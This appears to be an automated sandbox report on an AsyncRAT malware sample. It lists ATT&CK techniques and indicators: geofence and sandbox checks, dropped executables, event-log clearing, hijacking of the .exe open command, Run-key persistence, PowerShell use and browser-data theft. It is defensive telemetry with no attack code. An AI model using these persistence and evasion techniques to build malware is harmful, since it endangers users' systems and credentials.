asyncrat | 7723fd269e8d6a1ada1fffae67bc1f8470fde6fed1ebecbe7df5c53deb4b6907

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosDate	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	wmiprvse.exe

Checks computer location settings 2 TTPs 8 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-656926755-4116854191-210765258-1000\Control Panel\International\Geo\Nation	$77SVC~1.EXE
Key value queried	\REGISTRY\USER\S-1-5-21-656926755-4116854191-210765258-1000\Control Panel\International\Geo\Nation	WinUpdate.exe
Key value queried	\REGISTRY\USER\S-1-5-21-656926755-4116854191-210765258-1000\Control Panel\International\Geo\Nation	WINUPD~1.EXE
Key value queried	\REGISTRY\USER\S-1-5-21-656926755-4116854191-210765258-1000\Control Panel\International\Geo\Nation	pop3.exe
Key value queried	\REGISTRY\USER\S-1-5-21-656926755-4116854191-210765258-1000\Control Panel\International\Geo\Nation	fhmdea.exe
Key value queried	\REGISTRY\USER\S-1-5-21-656926755-4116854191-210765258-1000\Control Panel\International\Geo\Nation	7723fd269e8d6a1ada1fffae67bc1f8470fde6fed1ebecbe7df5c53deb4b6907.exe
Key value queried	\REGISTRY\USER\S-1-5-21-656926755-4116854191-210765258-1000\Control Panel\International\Geo\Nation	koalde.exe
Key value queried	\REGISTRY\USER\S-1-5-21-656926755-4116854191-210765258-1000\Control Panel\International\Geo\Nation	koalde.exe

Executes dropped EXE 20 IoCs

pid	Process
3104	pop3.exe
1036	koalde.exe
4656	koalde.exe
4544	Install.exe
3800	svchost.com
2200	$77SVC~1.EXE
5072	svchost.com
2760	WinUpdate.exe
1728	svchost.com
1712	WINUPD~1.EXE
5096	svchost.com
564	svchost.com
2664	svchost.com
4692	rodtmi.exe
2356	WinUpdate.exe
824	svchost.com
3312	svchost.com
4244	fhmdea.exe
1592	svchost.com
2900	svchost.com

Indicator Removal: Clear Windows Event Logs 1 TTPs 3 IoCs

Clear Windows Event Logs to hide the activity of an intrusion.

defense_evasion

Clear Windows Event Logs

T1070.001

description	ioc	Process
File opened for modification	C:\Windows\System32\Winevt\Logs\Microsoft-Windows-Security-Mitigations%4KernelMode.evtx	svchost.exe
File opened for modification	C:\Windows\System32\Winevt\Logs\Microsoft-Windows-Security-Mitigations%4UserMode.evtx	svchost.exe
File opened for modification	C:\Windows\System32\Winevt\Logs\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx	svchost.exe

Loads dropped DLL 1 IoCs

pid	Process
2204	svchost.com

Modifies system executable filetype association 2 TTPs 1 IoCs

persistence

Modify Registry

T1112

Change Default File Association

T1546.001

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\exefile\shell\open\command\ = "C:\\Windows\\svchost.com \"%1\" %*"	koalde.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-656926755-4116854191-210765258-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Bqoqoaflz = "C:\\Users\\Admin\\AppData\\Local\\Bqoqoaflz.exe"	7723fd269e8d6a1ada1fffae67bc1f8470fde6fed1ebecbe7df5c53deb4b6907.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-656926755-4116854191-210765258-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Dehfdpa = "C:\\Users\\Admin\\AppData\\Local\\Dehfdpa.exe"	fhmdea.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
3664	powershell.EXE
856	powershell.exe
1632	powershell.exe
1168	powershell.exe

Drops file in System32 directory 7 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_0FB9553B978E7F00C6B2309507DEB64A	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\FB0D848F74F70BB2EAA93746D24D9749	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules.xml	OfficeClickToRun.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.EXE
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.EXE.log	powershell.EXE
File opened for modification	C:\Windows\System32\Tasks\WinUpdate	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157	svchost.exe

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 3620 set thread context of 1700	3620	7723fd269e8d6a1ada1fffae67bc1f8470fde6fed1ebecbe7df5c53deb4b6907.exe	94
PID 3664 set thread context of 3156	3664	powershell.EXE	109

Drops file in Program Files directory 64 IoCs

description	ioc	Process
File opened for modification	C:\PROGRA~2\Google\Update\1336~1.371\GOBD5D~1.EXE	koalde.exe
File opened for modification	C:\PROGRA~2\MICROS~1\Edge\APPLIC~1\920902~1.67\COOKIE~1.EXE	koalde.exe
File opened for modification	C:\PROGRA~2\WINDOW~4\wmplayer.exe	koalde.exe
File opened for modification	C:\PROGRA~2\COMMON~1\MICROS~1\MSInfo\msinfo32.exe	svchost.com
File opened for modification	C:\PROGRA~2\WINDOW~2\wab.exe	svchost.com
File opened for modification	C:\PROGRA~2\Adobe\ACROBA~1\Reader\WOW_HE~1.EXE	koalde.exe
File opened for modification	C:\PROGRA~2\COMMON~1\Adobe\ARM\1.0\AdobeARM.exe	koalde.exe
File opened for modification	C:\PROGRA~2\WINDOW~4\wmpconfig.exe	svchost.com
File opened for modification	C:\PROGRA~2\COMMON~1\Oracle\Java\javapath\javaw.exe	koalde.exe
File opened for modification	C:\PROGRA~2\WINDOW~2\wabmig.exe	koalde.exe
File opened for modification	C:\PROGRA~2\MICROS~1\Edge\APPLIC~1\msedge.exe	koalde.exe
File opened for modification	C:\PROGRA~2\MICROS~1\EDGEUP~1\13195~1.15\MIA062~1.EXE	koalde.exe
File opened for modification	C:\PROGRA~2\WINDOW~3\ACCESS~1\wordpad.exe	koalde.exe
File opened for modification	C:\PROGRA~3\Adobe\Setup\{AC76B~1\setup.exe	koalde.exe
File opened for modification	C:\PROGRA~3\PACKAG~1\{57A73~1\VC_RED~1.EXE	koalde.exe
File opened for modification	C:\PROGRA~2\WINDOW~4\setup_wm.exe	svchost.com
File opened for modification	C:\PROGRA~2\MICROS~1\Edge\APPLIC~1\920902~1.67\BHO\IE_TO_~1.EXE	koalde.exe
File opened for modification	C:\PROGRA~2\MICROS~1\Edge\APPLIC~1\920902~1.67\ELEVAT~1.EXE	koalde.exe
File opened for modification	C:\PROGRA~2\COMMON~1\Java\JAVAUP~1\jaureg.exe	koalde.exe
File opened for modification	C:\PROGRA~2\INTERN~1\ielowutil.exe	koalde.exe
File opened for modification	C:\PROGRA~2\MICROS~1\Edge\APPLIC~1\PWAHEL~1.EXE	koalde.exe
File opened for modification	C:\PROGRA~2\WINDOW~4\wmprph.exe	koalde.exe
File opened for modification	C:\PROGRA~3\PACKAG~1\{4D8DC~1\VC_RED~1.EXE	koalde.exe
File opened for modification	C:\PROGRA~2\Adobe\ACROBA~1\Reader\AcroCEF\RdrCEF.exe	koalde.exe
File opened for modification	C:\PROGRA~2\Adobe\ACROBA~1\Reader\ACROTE~1.EXE	koalde.exe
File opened for modification	C:\PROGRA~2\MICROS~1\Edge\APPLIC~1\920902~1.67\MSEDGE~1.EXE	koalde.exe
File opened for modification	C:\PROGRA~2\MICROS~1\EDGEUP~1\13195~1.15\MICROS~3.EXE	koalde.exe
File opened for modification	C:\PROGRA~2\MOZILL~1\UNINST~1.EXE	koalde.exe
File opened for modification	C:\PROGRA~2\WI8A19~1\ImagingDevices.exe	koalde.exe
File opened for modification	C:\PROGRA~2\WI8A19~1\ImagingDevices.exe	svchost.com
File opened for modification	C:\PROGRA~2\Adobe\ACROBA~1\Reader\Eula.exe	koalde.exe
File opened for modification	C:\PROGRA~2\COMMON~1\MICROS~1\VSTO\10.0\VSTOIN~1.EXE	koalde.exe
File opened for modification	C:\PROGRA~2\COMMON~1\Oracle\Java\javapath\java.exe	koalde.exe
File opened for modification	C:\PROGRA~2\Google\Update\1336~1.371\GOOGLE~3.EXE	koalde.exe
File opened for modification	C:\PROGRA~2\Google\Update\1336~1.371\GOOGLE~2.EXE	koalde.exe
File opened for modification	C:\PROGRA~2\MICROS~1\Edge\APPLIC~1\920902~1.67\MSEDGE~2.EXE	koalde.exe
File opened for modification	C:\PROGRA~2\WINDOW~2\wabmig.exe	svchost.com
File opened for modification	C:\PROGRA~2\Adobe\ACROBA~1\Reader\plug_ins\PI_BRO~1\32BITM~1.EXE	koalde.exe
File opened for modification	C:\PROGRA~2\Adobe\ACROBA~1\Reader\READER~1.EXE	koalde.exe
File opened for modification	C:\PROGRA~2\COMMON~1\Oracle\Java\javapath\javaws.exe	koalde.exe
File opened for modification	C:\PROGRA~2\MICROS~1\EDGEUP~1\13195~1.15\MICROS~1.EXE	koalde.exe
File opened for modification	C:\PROGRA~2\INTERN~1\iexplore.exe	svchost.com
File opened for modification	C:\PROGRA~2\Adobe\ACROBA~1\Reader\ADOBEC~1.EXE	koalde.exe
File opened for modification	C:\PROGRA~2\Adobe\ACROBA~1\Reader\plug_ins\PI_BRO~1\64BITM~1.EXE	koalde.exe
File opened for modification	C:\PROGRA~2\MICROS~1\EDGEUP~1\Download\{F3C4F~1\13195~1.15\MICROS~1.EXE	koalde.exe
File opened for modification	C:\PROGRA~3\MICROS~1\CLICKT~1\{9AC08~1\INTEGR~1.EXE	koalde.exe
File opened for modification	C:\PROGRA~3\PACKAG~1\{CA675~1\VCREDI~1.EXE	koalde.exe
File opened for modification	C:\PROGRA~2\WINDOW~4\wmlaunch.exe	svchost.com
File opened for modification	C:\PROGRA~2\WINDOW~4\wmpshare.exe	svchost.com
File opened for modification	C:\PROGRA~2\Adobe\ACROBA~1\Reader\ACROBR~1.EXE	koalde.exe
File opened for modification	C:\PROGRA~2\MICROS~1\Edge\APPLIC~1\920902~1.67\NOTIFI~1.EXE	koalde.exe
File opened for modification	C:\PROGRA~2\WINDOW~4\wmpconfig.exe	koalde.exe
File opened for modification	C:\PROGRA~2\WINDOW~3\ACCESS~1\wordpad.exe	svchost.com
File opened for modification	C:\PROGRA~2\Google\Update\1336~1.371\GOF5E2~1.EXE	koalde.exe
File opened for modification	C:\PROGRA~2\MICROS~1\EDGEUP~1\13195~1.15\MICROS~2.EXE	koalde.exe
File opened for modification	C:\PROGRA~2\Google\Update\DISABL~1.EXE	koalde.exe
File opened for modification	C:\PROGRA~2\MICROS~1\Edge\APPLIC~1\920902~1.67\MSEDGE~3.EXE	koalde.exe
File opened for modification	C:\PROGRA~3\PACKAG~1\{33D1F~1\VCREDI~1.EXE	koalde.exe
File opened for modification	C:\PROGRA~3\PACKAG~1\{63880~1\WINDOW~1.EXE	koalde.exe
File opened for modification	C:\PROGRA~2\INTERN~1\ielowutil.exe	svchost.com
File opened for modification	C:\PROGRA~2\Adobe\ACROBA~1\Reader\Browser\WCCHRO~1\WCCHRO~1.EXE	koalde.exe
File opened for modification	C:\PROGRA~2\Google\Update\1336~1.371\GOOGLE~1.EXE	koalde.exe
File opened for modification	C:\PROGRA~2\WINDOW~2\wab.exe	koalde.exe
File opened for modification	C:\PROGRA~2\WINDOW~4\wmpshare.exe	koalde.exe

Drops file in Windows directory 23 IoCs

description	ioc	Process
File opened for modification	C:\Windows\svchost.com	svchost.com
File opened for modification	C:\Windows\svchost.com	koalde.exe
File opened for modification	C:\Windows\directx.sys	svchost.com
File opened for modification	C:\Windows\svchost.com	svchost.com
File opened for modification	C:\Windows\directx.sys	svchost.com
File opened for modification	C:\Windows\svchost.com	svchost.com
File opened for modification	C:\Windows\svchost.com	svchost.com
File opened for modification	C:\Windows\svchost.com	svchost.com
File opened for modification	C:\Windows\directx.sys	svchost.com
File opened for modification	C:\Windows\directx.sys	WinUpdate.exe
File opened for modification	C:\Windows\directx.sys	svchost.com
File opened for modification	C:\Windows\directx.sys	svchost.com
File opened for modification	C:\Windows\svchost.com	svchost.com
File opened for modification	C:\Windows\directx.sys	svchost.com
File opened for modification	C:\Windows\svchost.com	WinUpdate.exe
File opened for modification	C:\Windows\directx.sys	svchost.com
File opened for modification	C:\Windows\directx.sys	svchost.com
File opened for modification	C:\Windows\directx.sys	svchost.com
File opened for modification	C:\Windows\directx.sys	svchost.com
File opened for modification	C:\Windows\svchost.com	svchost.com
File opened for modification	C:\Windows\svchost.com	svchost.com
File opened for modification	C:\Windows\svchost.com	svchost.com
File opened for modification	C:\Windows\svchost.com	svchost.com

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
4076	2204	WerFault.exe	145

System Location Discovery: System Language Discovery 1 TTPs 45 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	svchost.com
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	svchost.com
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	svchost.com
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	svchost.com
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	svchost.com
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ipconfig.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	koalde.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	svchost.com
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rodtmi.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	svchost.com
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	svchost.com
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WinUpdate.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	timeout.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WINUPD~1.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WinUpdate.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	fhmdea.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	InstallUtil.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Install.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	$77SVC~1.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WerFault.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ipconfig.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	pop3.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ipconfig.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	7723fd269e8d6a1ada1fffae67bc1f8470fde6fed1ebecbe7df5c53deb4b6907.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	svchost.com
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	timeout.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ipconfig.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	koalde.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	svchost.com
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe

Checks SCSI registry key(s) 3 TTPs 18 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_QEMU&PROD_QEMU_DVD-ROM\4&215468A5&0&010000	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\CompatibleIDs	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\FriendlyName	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\HardwareID	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Mfg	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\DeviceDesc	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\HardwareID	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\Mfg	wmiprvse.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_QEMU&PROD_QEMU_DVD-ROM\4&215468A5&0&010000\LogConf	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\CompatibleIDs	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\ConfigFlags	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\DeviceDesc	wmiprvse.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_WDC&PROD_WDS100T2B0A\4&215468A5&0&000000	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Service	wmiprvse.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_WDC&PROD_WDS100T2B0A\4&215468A5&0&000000\LogConf	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\FriendlyName	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\Service	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\ConfigFlags	wmiprvse.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WerFault.exe

Delays execution with timeout.exe 2 IoCs

evasion

pid	Process
1160	timeout.exe
3488	timeout.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier	wmiprvse.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe

Gathers network information 2 TTPs 4 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

Command and Scripting Interpreter

T1059

pid	Process
3064	ipconfig.exe
900	ipconfig.exe
1936	ipconfig.exe
964	ipconfig.exe

Modifies data under HKEY_USERS 64 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.EXE
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\CA	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\CRLs	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\SmartCardRoot	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\trust	svchost.exe
Key deleted	\REGISTRY\USER\.DEFAULT\SOFTWARE\MICROSOFT\OFFICE\16.0\COMMON\CLIENTTELEMETRY\RULESMETADATA\OFFICECLICKTORUN.EXE\ULSMONITOR	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.EXE
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Disallowed	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\Disallowed	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.EXE
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\trust\CTLs	svchost.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\RulesEndpoint = "https://nexusrules.officeapps.live.com/nexus/rules?Application=officeclicktorun.exe&Version=16.0.12527.20470&ClientId={FD7E0FD4-25A8-47BF-931C-B1B997EC4881}&OSEnvironment=10&MsoAppId=37&AudienceName=Production&AudienceGroup=Production&AppVersion=16.0.12527.20470&"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.EXE
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\CA\CRLs	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\CRLs	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	svchost.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified\officeclicktorun.exe_queried = "1722995080"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.EXE
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\Disallowed\Certificates	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\Certificates	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\CTLs	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\CA\Certificates	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry	OfficeClickToRun.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot\Certificates	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
